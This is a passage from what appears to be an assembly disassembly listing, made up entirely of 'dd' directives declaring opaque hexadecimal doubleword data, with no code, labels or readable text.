dd 50A82F3Bh, 0F9F1C288h, 1B2DF8A8h, 0C874E3F6h, 0EA791300h
dd 0E6649799h, 30B005BCh, 420B451h, 0A4083BA8h, 126171B0h
dd 0FA4F1E8h, 44F488Ch, 7F3FDEA1h, 478C9F5h, 330CB770h
dd 3E0A8488h, 0A84CF296h, 7685C0DDh, 8EA39840h, 4CE8D800h
dd 20E3B73Eh, 5BA617C7h, 222490A8h, 84FEE243h, 90AEA100h
dd 6648085h, 778104C6h, 8FC8410Dh, 3FBC46Ch, 80F68F30h
dd 303D04B1h, 9B07916h, 0BBC00A8h, 7443949Ah, 8A01F088h
dd 5C8901A4h, 3C20EEA9h, 7CCB1A67h, 0EC7340D4h, 0F164D0h
dd 0B26BCD46h, 0B4694CD3h, 32019A01h, 0E48ACB63h, 0F4163043h
dd 8298C8h, 0CCDEB5B2h, 0EF6C071Bh, 0C03BDD4Eh, 6A021423h
dd 4051DEA7h, 8016B0DCh, 0B8BC0725h, 5C300DCh, 49A2DACCh
dd 0CD169A28h, 8040778h, 34F87F6h, 290CAD8Eh, 7E445018h
dd 91541232h, 69380104h, 0CD314D67h, 0FE90E797h, 0B50188D7h
dd 5C30D8FCh, 0C440F2E9h, 220CC844h, 0C204E47Eh, 6AB6EFF7h
dd 9D173CD0h, 0C5861D4Ch, 4430AD9Ch, 0C95D8C8Ah, 2893039Ch
dd 0D18860Dh, 84FD849h, 2EF138h, 0A9D74CDh, 0E3A3A44Bh
dd 0C7833EB8h, 0F6438493h, 0A6821000h, 0CF7383E7h, 6B381A92h
dd 0CC805103h, 9D86407Bh, 5823FC2Eh, 0D87E5A80h, 5D548AEEh
dd 31062005h, 50EAD37Ch, 3FBF803Dh, 9B0A9322h, 84F6F821h
dd 57C7072h, 3C6B46C7h, 42080118h, 81018C89h, 81469351h
dd 0C04319A0h, 0A7292748h, 336A2420h, 0AE011C60h, 9B39CEB2h
dd 44747B8Ch, 9A0A187Dh, 5C7279E9h, 0FC22F0B0h, 0B60E4423h
dd 8078923Ch, 0CD52F0BFh, 19FCED7h, 30E237F6h, 8AFE8F6Ch
dd 982DD850h, 58C1B717h, 0B848A7DCh, 679C0994h, 0E49D2FBFh
dd 71801591h, 0A4930F1Dh, 88E3A724h, 0EB7C0640h, 6A10C6EFh
dd 77007102h, 681670F9h, 12339B89h, 5FDBD84h, 0F07EC104h
dd 9C15004h, 0FC5651E7h, 4C7C1AC8h, 0B010C078h, 0F97E094Ch
dd 0E4E8C563h, 2D72601Fh, 0EE280074h, 0F8D71433h, 0EF0F7FE5h
dd 0F39ADAD3h, 2C23282Fh, 9C02C517h, 6718577Ch, 6020E44Ch
dd 70C8D98Ah, 687E0EC5h, 0CDE39D5Dh, 12B887BCh, 68C03052h
dd 1AB53A7Bh, 14B04C42h, 0F186533Dh, 3892F6EBh, 8A724906h
dd 1EF98BF4h, 8F03520Ch, 0A0D4E897h, 0C888CB4Ah, 0A94DC0FBh
dd 3E0FEC53h, 819137EBh, 1F98C4FEh, 1282D424h, 5A1F192h
dd 0A3ED5584h, 3023B278h, 0AF1DB94Fh, 0B682A0CAh, 429D87EFh
dd 0C5C49A2h, 0DDA55410h, 45005770h, 9688FC82h, 1B427268h
dd 9EA2086h, 94A643C2h, 0BF481041h, 8C1BE874h, 0E0D21C00h
dd 5C8AC07Dh, 0E0F661B1h, 0E08105CFh, 449610B5h, 2445F828h
dd 23F42F2Ah, 7D3D00F7h
dd 56DBFFDDh, 80BC49DDh, 955453A2h, 904BFB74h, 5C0817E4h
dd 4A0C501h, 5DD5FC0h, 0BC3AA07Ch, 0B4002423h, 80D0A60h
dd 35940012h, 5CA67E6Dh, 0A41A9B23h, 0D860E0F3h, 8712004h
dd 9588B90Bh, 10C08263h, 986B103Eh, 32EBC49Ah, 4BA10300h
dd 98DB884Eh, 34A28392h, 30CE2B9Bh, 6D16FE20h, 18C214EDh
dd 5854582Dh, 30239078h, 61BDDB01h, 0A828D070h, 0BDD2A8B0h
dd 1D42D700h, 306E6636h, 7C480AEDh, 0A40C03h, 60E18AE5h
dd 40B6A084h, 0F20D00DEh, 0B1F4CC7Eh, 1624F149h, 0E5413074h
dd 4AE90285h, 0B6B59C43h, 0D1A0B118h, 0C118FDh, 9320E880h
dd 71848940h, 100022E1h, 303EE413h, 0CE029917h, 0C021C840h
dd 72B89010h, 0A2E8D900h, 0C511E0ABh, 6A2F1293h, 9C44D04Fh
dd 0FC009625h, 0CD7AED5Bh, 119783Fh, 0BE4B24F8h, 0E4150DA5h
dd 900D8C8h, 2EDBC149h, 9B944193h, 43267840h, 2F35321Ch
dd 0AEE46500h, 97D10185h, 5880A8B7h, 3C95BB4Eh, 5AC90442h
dd 90ED7C89h, 400F70A8h, 801448h, 0BE969FC3h, 1F3BD382h
dd 24253D3Eh, 4467444h, 0B7722E03h, 74A80AF0h, 0E04DB89h
dd 0F30D7C8Bh, 9E2228C7h, 94D4E059h, 86F6800Bh, 0C38068B9h
dd 9D8882F8h, 0F2AA127Fh, 8BC49B1Dh, 0E4A802EBh, 0F3A80149h
dd 162085E8h, 98C37A9Eh, 3A604B77h, 3437EA8h, 0C32F4800h
dd 42EA1B5h, 0A8127099h, 0ADE10A4h, 0AC50E3Eh, 0B2730088h
dd 2AA705FEh, 0E56C21C1h, 3300B46h, 0C79000D0h, 0C3402C35h
dd 6300BAB4h, 55E6783Ah, 9DCF1E4h, 9109D85h, 84DB5479h
dd 0F1BF1660h, 344F7802h, 74FD5C89h, 0ED9104E0h, 0F1B48C88h
dd 0BA59F660h, 0E464CE47h, 12D048D2h, 0C7E70500h, 923F0225h
dd 418B6309h, 70D0DB1Ch, 0EA02997Fh, 5B71127Dh, 5750C05Ah
dd 40AE4F24h, 1DC0A6D4h, 0E6001817h, 0DA662D59h, 0BEB76336h
dd 0D08E471Ch, 7B64CA33h, 58512500h, 0D484B0Ah, 0B5D4176Ah
dd 7A6420A8h, 6E007E04h, 463424D9h, 430B6Fh, 0EEB85467h
dd 4EAC5B8Dh, 7D63C30Bh, 0C4B465EAh, 0B4466019h, 0D94E03AAh
dd 0F0EFDA7Fh, 0FAEBF100h, 94E9A793h, 0B8B3E0D5h, 84DF03C8h
dd 9C0736B2h, 0ED2F65E0h, 0F7BC3Ah, 9F271177h, 0B0D87FC9h
dd 0F679038Ch, 17281B98h, 0CE3B4AB0h, 223CA412h, 87740802h
dd 0D3304A77h, 0C92E7054h, 0EBC77101h, 0D502D84h, 39781F10h
dd 3828EC00h, 7EF151C5h, 50840516h, 17752C1h, 0D458E7CCh
dd 0E4D8301Eh, 0DAD03050h, 77791F0Bh, 914497EAh, 317D8318h
dd 90F4F8F2h, 702504B9h, 84365887h, 721C98E4h, 1C38BF19h
dd 546C2018h, 58C2EBCh, 0CB3E111h, 92C4E481h, 443A416h
dd 7F149C1Fh, 4E98000Ch, 0DA153EFCh, 89841244h, 3898100Dh
dd 0F8EEF015h, 0EBA0200h, 8C412368h, 9DBBA891h, 384DE4h
dd 3E12F234h, 17A495B2h, 286C0EFh, 2F659C40h, 0E0251611h
dd 4A75023h, 53E53004h, 0B6E10EFAh, 0AD027715h, 3050107Ch
dd 3A881F44h, 78FC6898h, 12AB38F0h, 144FD901h, 43F85BCFh
dd 0A753DCh, 8509B37h, 3652E4FBh, 0EB482F16h, 0F87B9400h
dd 1F0C002h, 294333F7h, 0D12303E9h, 0C0E645EAh, 2F3A1DCh
dd 28BFD433h, 1821402Bh, 49E663DBh, 80A01BCFh, 0DC021CA8h
dd 7218A664h, 4480C744h, 902B60F4h, 9CEF54F1h, 31AA0196h
dd 0E6A30CCBh, 0D820203Ch, 652520BEh, 60F5E428h, 1C7E8C8Eh
dd 6CB7E91Dh, 47D40838h, 0D8C58A3Dh, 0EA02B825h, 7429840Ch
dd 24467CD4h, 0FE9E000h, 95F015D7h, 3065B53Ah, 0EC1DD9F1h
dd 44A1008Eh, 1AA9AE56h, 0DB057F1Ch, 0C57DD980h, 11E7A488h
dd 64D5830Ch, 0C460D688h, 91243C40h, 5C7098D3h, 0E9400BBCh
dd 0F88FF895h, 0C8B766A4h, 0A51B883Ch, 0E0F008F4h, 0A7329497h
dd 60F1C4ACh, 0A09678B1h, 8020ACD0h, 7362CD86h, 0F285F6C9h
dd 95880C10h, 0A2782D20h, 6390AF00h, 19014516h, 0E80249E7h
dd 2BFB3300h, 9331D3EDh, 87DD5F04h, 28B80B4Ch, 1E8C15BCh
dd 2211905h, 0CD9A5BA6h, 82A8B093h, 310FC4B2h, 5349747Dh
dd 30D51092h, 391740C5h, 0A0CBDB91h, 40BD5D02h, 1CE1570Ah
dd 5880158Bh, 0B9F3233Ch, 482DB88h, 0EB9618h, 17B61B8h
dd 0F87D7C21h, 6D3400BAh, 1CFC2848h, 8C14E8h, 1899BC44h
dd 31F4BEEAh, 787C2497h, 80CCCC52h, 7C59D300h, 426A10C8h
dd 4F4B003h, 0B791C441h, 830EC23h, 82CD748Bh, 59066C95h
dd 96D58C60h, 70006348h, 0C0909889h, 0E8B6D6BCh, 1E4796A0h
dd 88DC5B05h, 4CB8697Ch, 4F2A9901h, 0E426E8CCh, 0E4A571FEh
dd 0C06020E4h, 0A50B5256h, 686D1762h, 4A742A10h, 1CC416B9h
dd 37956200h, 90B300F0h, 0D5394E8Ah, 0FA576302h, 0F841747Ch
dd 5EF89C64h, 8D3A2246h, 0FE6A5482h, 0A0769CECh, 0CB575F40h
dd 88D90092h, 0F32688Ah, 28259EE8h, 4B54C02Bh, 9B5B84h
dd 444E955Ch, 5575E5B7h, 80966D00h, 1FB0980Bh, 24209B6Ch
dd 0F54674F0h, 32F82C00h, 206BB8A4h, 0EC7814B8h, 245C2084h
dd 0DAF4A606h, 7A46F279h, 48174F39h, 71692A64h, 18F759CCh
dd 3B200498h, 0A4A8598Dh, 0EE0006ECh, 839AE34Ah, 0C18E21h
dd 5E49A1B9h, 22DB4C8Ch, 90D4A32Fh, 0BFF20Ch, 9CB7B36Ah
dd 4405768Fh, 0A464921Ch, 3BD38B40h, 0C0EE6BC7h, 0CC1FA679h
dd 771FBE95h, 0EC004BB9h, 7AA2CACh, 56D7EE0h, 848ADC67h
dd 613CB0CDh, 547CC803h, 0C71591A0h, 50D08299h, 0AB80A1Ah
dd 81107D62h, 4CE51CC3h, 2768343Ch, 928DF48h, 9D181799h
dd 872E9168h, 8B02EE8Eh, 48BD8D5Ch, 95777860h, 957080Fh
dd 68A9DD78h, 0D770E05Bh, 41877072h, 88284E35h, 0AA07C0F2h
dd 89019C0Dh, 0F6A27E95h, 20A7DE58h, 83C7386Dh, 0F61B1840h
dd 0D0965A09h, 588EF0BCh, 0C2A81160h, 2027B49Dh, 20C01DF3h
dd 78DEB50h, 7C891566h, 9313BCADh, 68440928h, 0DB3810B0h
dd 4B8AC010h, 702FC2E1h, 50C0CAAEh, 4E02D8C4h, 85E40690h
dd 78011CADh, 848EC80Bh, 7EF840A1h, 116D0068h, 2CD47729h
dd 0C2EC8CFh, 0A130DCD0h, 73BA86C9h, 0FB5C0013h, 80B4F24Eh
dd 0A6FAE1E9h, 84127F4Fh, 0A06FC8E0h, 5AF5C7A4h, 92145371h
dd 5F30B768h, 87DC132Ah, 90CB5Ch, 7C2A683Fh, 0BFF645h
dd 0CAB9D851h, 50C4DEB5h, 8440084Bh, 5FF5567h, 0EC96350Ah
dd 0CA6402B1h, 785C657Ch, 0A9456700h, 92578413h, 2F930040h
dd 681566C3h, 0D34EC263h, 0C099D423h, 1E2B90h, 0B720D883h
dd 795AF79Eh, 0F90938B8h, 0F993B291h, 18F879C8h, 72D0026Eh
dd 0F170CE59h, 9F1D6844h, 461DC874h, 672F5A82h, 0A9B28042h
dd 3F3A0D77h, 0A0F2AB86h, 7B94E8A4h, 20CB9C8h, 4FA44B30h
dd 0D81C94D0h, 19D8AD99h, 5ABF1820h, 8C3CC0E0h, 0AC4F6395h
dd 110B03Bh, 0ED0CC004h, 876ED7h, 0E99A72AAh, 48389F1Ah
dd 34888094h, 16E81012h, 0ACE3E791h, 88332FB2h, 292AEFEAh
dd 2594980Ah, 429A5490h, 8E1BE001h, 0A863091Ah, 13805E0h
dd 0E84C0E5Eh, 2E2DCCB6h, 4BE6C4Eh, 0D0A86D7Ch, 0CB76304h
dd 0EB902082h, 0D4379F27h, 0AAC0131Eh, 67225ACh, 0BB5402CCh
dd 57F7491h, 0E3EAC4D8h, 5017DF2Ch, 60B2008h, 80093850h
dd 3D16B60h, 1754993Ch, 12204CB2h, 0C2A4DA0Ch, 40406077h
dd 0AD6A61h, 3792A2FBh, 7C8AB775h, 0B017412Eh, 3712142h
dd 8C209D3h, 0D1B7F4A0h, 0FD05C320h, 50490A31h, 0D08CB4h
dd 0B7DC46DFh, 0B113AEA3h
dd 39F37600h, 5BCD63BAh, 8C6C4EDDh, 0B8208790h, 7231913h
dd 6AE7611Ch, 261F286Eh, 3D468142h, 2DF0D98Fh, 0E54014F0h
dd 0A60D04C3h, 74B9CE5Fh, 0C8788B92h, 1BAC025h, 0F502DF26h
dd 157044C6h, 40E0543Fh, 1060CFBh, 40AF8601h, 3B2C8766h
dd 88088E04h, 271CC3F4h, 255D9EC0h, 0E8840758h, 0D60CE304h
dd 0FEEEA5E6h, 665E2000h, 8C8B56F6h, 92F8A8E1h, 25F8B03Fh
dd 509DFBB5h, 1812C91h, 2E545A98h, 2765B862h, 843041B3h
dd 0F41F6A33h, 0A9C70F00h, 0A86902Bh, 256C8F18h, 89A30194h
dd 2EBAB4F6h, 84DDB848h, 0AC9F7490h, 51047CB0h, 55A19ED0h
dd 672FD4F3h, 0C0888860h, 0B4A31B78h, 0A7421007h, 0B7C0CD1Ch
dd 4E5BBCFh, 0BF10FA91h, 3E28F860h, 537205E6h, 1CFCE186h
dd 297C0A82h, 0B881DA89h, 82F3B76Ch, 215C2A50h, 275CE814h
dd 587F7D05h, 2F7A2851h, 68686C63h, 0F0E686FEh, 204BD709h
dd 8B00A430h, 0DC015CA8h, 80F6E7D5h, 221879F2h, 0DF65011Fh
dd 20F8E6EDh, 4859F155h, 0E8998484h, 498C8802h, 13A4F2E9h
dd 4F97E7Bh, 413183B0h, 0CECFA490h, 64803088h, 75680640h
dd 81702E84h, 9CAD095Ch, 0C7003858h, 0A06EB988h, 0C79993Bh
dd 0F11FDBB6h, 74041751h, 0FED2C8B7h, 0F3C86C8Eh, 571F64C2h
dd 87B95805h, 8C31B0E5h, 21F9F056h, 0A2702340h, 0EC9B3014h
dd 4F202814h, 327680E0h, 2955266h, 8F70632Ch, 85A21A0h
dd 2412D027h, 0DA602DA0h, 702D62BDh, 803465D8h, 2CBDD1A9h
dd 0CFE8096Bh, 10CC1E5Ch, 0C1161505h, 9B4457FDh, 74498024h
dd 9972D3DDh, 886080B0h, 90D28CE8h, 599C8D00h, 362AEACh
dd 69D5019Eh, 489B53B9h, 0A493CC80h, 5CC0B34Ah, 9772BF28h
dd 0C580CC35h, 48633F52h, 8C694A17h, 0F62FE2ECh, 65D0988Bh
dd 1155633Ah, 58F1C2FFh, 3194C450h, 0E4E9BD28h, 1849AF5Bh
dd 0DC7C560Ch, 906BCF00h, 692E9921h, 6F15269Bh, 0C0609F74h
dd 0F2A5CD06h, 1025AD85h, 0DBB05132h, 0F81B0482h, 253DCF4h
dd 843315C5h, 0B8501105h, 0E0CF742Fh, 0FAE83ACh, 0BD88B723h
dd 0C00DFF8Eh, 0F1A6E308h, 24DB19C5h, 2CACCCE9h, 0E599CCE1h
dd 66CF0919h, 2068BD88h, 0AFA49B04h, 844CB8E8h, 94B30485h
dd 3CC0E8B7h, 27130757h, 0B4485064h, 5A00BAF8h, 25FF274h
dd 4D397D0h, 548C1C71h, 304CB2C0h, 945F310Bh, 99C500BCh
dd 0ECBE93F4h, 0E00A958Bh, 0F81DF2CEh, 0C3581ADEh, 9452E064h
dd 209F7008h, 0F99A091Eh, 0FC7B7C51h, 466CCB60h, 6930702Ch
dd 9AA5F802h, 0ADD0D91Fh, 0EB068C02h, 2CD95051h, 0F04B3B18h
dd 595D3844h, 0D410C0FEh, 0D060A585h, 0DDD8C269h, 2A030C4h
dd 0B3496810h, 0C9AE760Ah, 0E890487Dh, 65A5E921h, 602F6470h
dd 2F7BD8A7h, 44307DDFh, 69897781h, 1BA8086Ah, 4674B048h
dd 0D75F1C04h, 0E309E080h, 95523CFh, 0E18AE69Ah, 0FE782071h
dd 2F718603h, 0A8D8BE29h, 83150A81h, 122F4874h, 7EE03A60h
dd 7728028Ch, 0C7E683F9h, 0BCAE8C3h, 0D4A9F104h, 1F7FB400h
dd 0AC15BC9Dh, 0E340FB00h, 0CAA57E1Eh, 2008B857h, 0E21ADE17h
dd 9109D87h, 697C72ACh, 0F4564958h, 7E4405DCh, 4028A888h
dd 19159CE4h, 657822F1h, 32960700h, 0B2C175AAh, 908B62CDh
dd 4D0BF7EBh, 0EE66C07Ch, 0B804C4C3h, 0F6F55C88h, 836C4B02h
dd 0E503E0D0h, 7BA25F55h, 0F76F16Fh, 76A418Bh, 53820020h
dd 0C00289B3h, 2F877F6Eh, 0A7A890F0h, 1D7A00ADh, 0A3D17340h
dd 0C8956B8Bh, 71D524E4h, 0C6784Bh, 3A6F6328h, 0CABAB5ACh
dd 0F23D91Eh, 0C4B67792h, 0B14DECE0h, 0B008D605h, 6CE37212h
dd 53301FA2h, 48CB00FBh, 654F5F22h, 89600CBDh, 0A430FFF9h
dd 2C429797h, 9A40C87Ch, 5B04061Bh, 0D9A48831h, 0F33D190Eh
dd 97AA60A2h, 0E2ABB9h, 0B6DF11F4h, 2EDD03D2h, 0A6A3C702h
dd 4B727D01h, 0EE1FB810h, 891512E0h, 1C28E2FFh, 0F35ED468h
dd 0EC7EFA00h, 972CD3DBh, 0E0859401h, 3239E5C1h, 84602E10h
dd 9385808h, 8CE69A0Ah, 0BC04B270h, 0F0B5747Ch, 20EC68F8h
dd 0EA553A8Ch, 10EE9F01h, 22EC3374h, 0BDBC0920h, 91DD028Ah
dd 0D1385915h, 7EC11924h, 0F61AD1F4h, 8D7A25DFh, 5000AC64h
dd 13E2B8C6h, 58FE3075h, 0A6036197h, 0F1B33B33h, 489329DEh
dd 2E4A0578h, 8B483ABh, 880FE543h, 4B68F584h, 2D232C2Bh
dd 5096CF05h, 0D30004F9h, 0EC816B2Eh, 0D01D4EC2h, 5CC4E5BBh
dd 10B4FF45h, 0C5563C98h, 88A8D203h, 8100AC54h, 0EB66078h
dd 4CB4F679h, 2B160CB9h, 31B4E406h, 0F0911C40h, 5C20B6E9h
dd 0FE071E46h, 0F0316E45h, 73935A5Bh, 9E0A6F14h, 0B87898A4h
dd 0A14A01C7h, 87727F3Fh, 4BC2828h, 2448A588h, 2C67002h
dd 0A9D8DC9Bh, 31039242h, 32016DD6h, 4F9B88DDh, 687E0953h
dd 0D450DCB8h, 0B00C6B24h, 4EDBC986h, 26E3E0Ch, 1BB499Dh
dd 9C06D6F7h, 0EDA47D94h, 13773FCh, 0DFDC287h, 7D6AD66Ch
dd 0AE26037Ch, 0F07F7460h, 0ECA10711h, 0C24100CFh, 0A0B938EDh
dd 320710DBh, 3F0B1C80h, 8B155070h, 335277Ch, 0F4C8B4ABh
dd 68119788h, 0DA1C0F50h, 395280CAh, 0B77FBE09h, 8818F8F8h
dd 8B5087CDh, 19113074h, 0AF7C0748h, 0E9125CB6h, 93AC88A9h
dd 84F8393Fh, 3D9CBF70h, 1313A0BCh, 700A14A4h, 0D1A2BC00h
dd 9DC20EFAh, 0A4A920B9h, 2018FCF9h, 7FE5C901h, 7E9D5BF3h
dd 3B4C722Eh, 5F16EC72h, 1442D26Bh, 0D9619321h, 0ACE280C8h
dd 22ADEC16h, 0A80EC900h, 21F4A402h, 0E7B10052h, 2ED95F93h
dd 1212F348h, 50F25BFFh, 1D584BC8h, 1BCE26D4h, 292300DCh
dd 28A742E8h, 0EFC81707h, 841EE719h, 50BCBF1Ah, 29B723C6h
dd 20E80F34h, 2BBF1806h, 3333A49h, 6146A2Ch, 0E8694E8Dh
dd 5C89270Bh, 78BC2081h, 0AB84B772h, 34A581C8h, 0C840017Fh
dd 60895C28h, 1BB501BAh, 9D0A8054h, 6800F79Ch, 0A0749141h
dd 0A587C517h, 4A6AACE4h, 0FFB490BFh, 0A0446B16h, 317C1D88h
dd 446CA5F3h, 19820C15h, 359776B8h, 87F591E8h, 0FDC7BCE5h
dd 5C27FE12h, 15A8636Ch, 80AE693Dh, 4C4129F3h, 19BE1DBh
dd 0DEBCCB63h, 6C288F10h, 1EC21320h, 182579E8h, 34CD2C60h
dd 97940B95h, 421B80Ch, 0F6EC6B80h, 984EB7Ch, 1B89548Bh
dd 3569CC59h, 0B009809Ch, 0D26ECC29h, 18F495E4h, 5454EA90h
dd 971310ECh, 50D73A2Ch, 0E22409F4h, 402B124h, 7A03F20Ch
dd 0FE09270Fh, 7C199851h, 2610946Fh, 5E941118h, 0F4E3E420h
dd 0AF28002Eh, 0EECCA96Dh, 5302C7E7h, 2DFC8925h, 0ED74C0C6h
dd 34E89708h, 109AFE17h, 6DF3403h, 0CE9E87D8h, 0D0C09589h
dd 35F37C93h, 7B5CC124h, 299BF440h, 16688808h, 88870D07h
dd 172084E4h, 0F88E76F0h, 0B1A8D2A5h, 4C3E2EECh, 41001B23h
dd 0A44AA8C8h, 7984258Bh, 0E46178E2h, 0E4226F2Bh, 6C710Ch
dd 36A3620h, 991255B3h, 0F0F32D65h, 0A0BEF009h, 0E066D02Bh
dd 0AE98F8C5h, 0AF805CE8h, 6B2F6CAh, 733DC0Eh, 0E94400AAh
dd 94F01FC5h, 5E8D800Ch, 0EC4271D5h, 0CB49D900h, 246D2CC9h
dd 0B58F0080h, 6396899Ch, 1E00D3C6h, 3AC39F7Eh, 0CB968h
dd 51727DD0h, 95C86035h, 0D4A58617h, 372B88B1h, 0ECC421ACh
dd 0CC223A2Ch, 0F8111F38h, 5951F80h, 0BC0B0F8Dh, 0A9838491h
dd 44AC5934h, 0F4F23541h, 2030F4B2h, 299748Bh, 16E7EA5h
dd 2357A796h, 0B8E6A258h, 9AC037h, 17CBCC5h, 71174088h
dd 0B8C00754h, 86184900h
dd 7D6839C1h, 58BA9DE6h, 0F379F0F1h, 8709E818h, 21304CCDh
dd 2420B7E0h, 2409808h, 809F2770h, 95250072h, 32D042FCh
dd 50147B40h, 563A3DE6h, 9F09129Ch, 0E5B8E490h, 2EC6FC85h
dd 12108FB4h, 5BE8AC83h, 23F4C88h, 22430474h, 3CC0381Dh
dd 6781FAF9h, 978A59C4h, 0D643C814h, 6C6A5Ah, 5962CEF5h
dd 88105028h, 6EEE5A23h, 14F96600h, 1FDB54ACh, 793498B0h
dd 0A47C8219h, 888D7643h, 36A079F2h, 49C216DFh, 0D8C0D834h
dd 4C6EEBh, 0C9EB23Dh, 89BAA84h, 0E2CF6CDFh, 48817935h
dd 7710127Fh, 860B7972h, 201C5495h, 0AEB6AC8h, 9B7D4B66h
dd 5321C064h, 4AE8F64h, 9E01B0Eh, 6C3CB596h, 33EA8004h
dd 38DA0C1Ah, 7C00DF8Ch, 0E05164B4h, 2A1C5B8Fh, 720941CAh
dd 1740D143h, 0EF13F0F2h, 70B33C03h, 1FA5D79h, 0C4BEA31Ch
dd 2E8F6354h, 60A2F824h, 1C3020F2h, 6372049Ah, 0C2E5CF55h
dd 0CC56F050h, 0A82900BFh, 1F4C802Dh, 98900A9h, 9D591A8Fh
dd 3A015618h, 7230F10Bh, 12F387Ah, 0EB912014h, 88A84E27h
dd 607FC0F8h, 9E2599ABh, 9018D292h, 0F5A0Eh, 2A8159B4h
dd 60D60B19h, 10DC508Bh, 11C0C004h, 96A93FAh, 957C894Dh
dd 0E795A050h, 671A64CCh, 1091CD67h, 0ADC06F8Ah, 0D1284BBCh
dd 465FA64h, 0F688548Eh, 0D6302DC0h, 3FB41D11h, 0F0E613C2h
dd 0B84FBF99h, 2C7E14F0h, 74ACECD8h, 37011646h, 5CAD87C1h
dd 5FB0800Ch, 6EC320D4h, 1C880F91h, 0A5C9010Bh, 0AF9030A8h
dd 0F46064CDh, 461FEA2h, 78D830C7h, 10E4D475h, 9C16F0E0h
dd 106C2114h, 95030722h, 418B6F4h, 69842AC7h, 792CC00Ch
dd 9B268F74h, 3429C0B0h, 0FA18F7D1h, 87162B09h, 66B880CEh
dd 0BC920A53h, 0D059A590h, 5CD18646h, 16C4780Ch, 8780B868h
dd 0D2C471FCh, 9C0C098h, 0B3913840h, 588088E5h, 7DDF40B8h
dd 0A5F1008Ah, 56369D92h, 2F5D8493h, 5A3A76BCh, 42E603D2h
dd 889F668h, 726F0371h, 723465Eh, 531D6420h, 188E9A51h
dd 4F188076h, 61276109h, 43E3DE00h, 94F26FB7h, 688D008Ch
dd 0AEECB24Dh, 0F1123A3Ch, 0F8B80E73h, 0F6A210B3h, 16B48F01h
dd 62CF0A00h, 3B135898h, 68F3157Dh, 0C73021A2h, 6C1B007Ah
dd 0D4772860h, 21C029A6h, 5E081D70h, 1B6F00D1h, 0FBE647C6h
dd 0A20B22F7h, 986D298Dh, 1907AECh, 2206F6Eh, 0D04195E4h
dd 32E865D5h, 0D8C26A05h, 0C1A835h, 0C1A72578h, 7202DCD1h
dd 5E2104BFh, 30517284h, 6181559h, 9112D472h, 30E01F74h
dd 0B40B4A6Ah, 885872C4h, 8130FFFh, 0FA3E6085h, 539122F8h
dd 1AE23C0Ch, 267130h, 97C7BD69h, 31F0A586h, 3A97C490h
dd 0D480F680h, 160A7200h, 0C0921F19h, 6011629Fh, 0D1002114h
dd 0B5CD9A7Ch, 30FC0C4Ah, 2769FEDCh, 0C8C40A8Ch, 4CB890F3h
dd 4010A812h, 697CF70Ch, 9BE613C3h, 10AC7A5Ch, 6A11E61Bh
dd 9F0A14D6h, 45680024h, 0C7D3269Ch, 0F6180C4Eh, 5629048Eh
dd 5194A100h, 0E3D7FDECh, 58990F2Eh, 1B808CA8h, 0E09585DCh
dd 3E30265Dh, 0E0792F32h, 26D8FC70h, 1C30203Fh, 0E5503004h
dd 0E032955h, 0F0D0510Dh, 0ECD49C9Eh, 1A8190B8h, 8F1A7A4h
dd 86F62D78h, 9DA89CCBh, 728023D4h, 27D03297h, 7D2040h
dd 41932170h, 0FA9127E6h, 500BCF9h, 86C07B16h, 8E300003h
dd 0A491241Ah, 0E495E01Fh, 8B38025Ch, 17FCD15Ch, 6838187Fh
dd 0F0C13E51h, 9D85DA83h, 804A0E04h, 6021C020h, 0D223DD2h
dd 0C3159300h, 0CEED87Dh, 0BCF3894Eh, 0FD974103h, 104C446Ah
dd 0E1D625F8h, 0E18009ACh, 0D3BDC721h, 1CA87EA7h, 0E84EF671h
dd 8023D0B0h, 9C209508h, 0CC71703h, 0F2FC258Ch, 37B50040h
dd 88CC6973h, 2C94F74h, 636A79C4h, 38048655h, 0B28A5AC1h
dd 8C9B096Ch, 42785EF7h, 7020E795h, 0C315FC97h, 0F2F09880h
dd 0DF8190Eh, 7D0EA9BBh, 5D06D880h, 0A6047EA4h, 5063AEB7h
dd 138EDC88h, 1241A754h, 0E0F8B688h, 2CC13953h, 1154AC75h
dd 7C8A0506h, 0DC48EB49h, 645D80F3h, 21D1D3C9h, 0D2A5A20Eh
dd 59029FDh, 48288C0h, 76C4C429h, 0EC718228h, 0B7D8A780h
dd 48E80A07h, 6B1F56A3h, 0DEA00B7Bh, 0C05CC56h, 0BC222E81h
dd 802F24F8h, 5F0E6045h, 770ED8FAh, 42FB3A89h, 0E036ECD0h
dd 9704A0EBh, 61C040EDh, 17AC62Eh, 0F453C0ACh, 7C3FA492h
dd 867F1CE8h, 946A9F13h, 5C071423h, 7270983Dh, 0A9247C9Fh
dd 2510128Ch, 32003999h, 0F5617F2Ch, 0CBB9C330h, 0E4F10341h
dd 6B18F679h, 2FA0F400h, 0F2BA6FE4h, 0D9CE02AEh, 0E7FE6C38h
dd 5B4A40DAh, 0A3DFAC8Bh, 7FE68607h, 613B2242h, 0C711F57Ch
dd 74326Ah, 8E59B39Dh, 13ADC8ACh, 0C8900BE2h, 0DF414FF4h
dd 1931A441h, 0E5569900h, 0DA2D421Fh, 2CAC7B25h, 2C465C54h
dd 9C196903h, 6800E953h, 72DA85D3h, 0CAD8FE1Ch, 4E888608h
dd 2B371099h, 22C8208Bh, 36B8B4C1h, 7800F7Eh, 0FC0C09F3h
dd 2364A867h, 49117260h, 0BD213A04h, 78F2FE0Fh, 9830AE00h
dd 0E97570B3h, 330A2F04h, 0CE8A44Fh, 0E2B20A2h, 252208A0h
dd 9807D879h, 403E3556h, 818C8ECFh, 93B0DCB4h, 73F8A376h
dd 0A7636616h, 6E4C8420h, 6DA4008Fh, 7EC1565Dh, 3A3D5C72h
dd 5A573893h, 0D890042h, 1C331018h, 18B59D84h, 9BDE020Ah
dd 5C88092Dh, 2F253BCh, 4D7C0801h, 2F787CE7h, 0BCCE7DA6h
dd 9E98172h, 23102B7Fh, 0CDDF0024h, 0E28EAE73h, 4C6A1609h
dd 70245B78h, 3A039B3Bh, 0A7A27E97h, 5B73A0AEh, 0EBF92D7Fh
dd 46008859h, 0E95849F3h, 392E16CBh, 29000225h, 345E675Ah
dd 1402BD88h, 3964F4F6h, 0D608BD9Bh, 0C0A974BDh, 59123A3Bh
dd 0B0BC3167h, 0B800B993h, 0C8564E59h, 0A600B530h, 3FC8B177h
dd 38B20Ch, 0C3EE7869h, 87068A5h, 6771E32Dh, 60184408h
dd 196BB51h, 32DF753Ah, 72BF7239h, 171F0BE8h, 8701067h
dd 1FD1084h, 0FA2218h, 2E656CDBh, 0E21B63BBh, 0E5C55900h
dd 777B152Ah, 50420296h, 0D0CF7943h, 0E600C88Fh, 837F9A55h
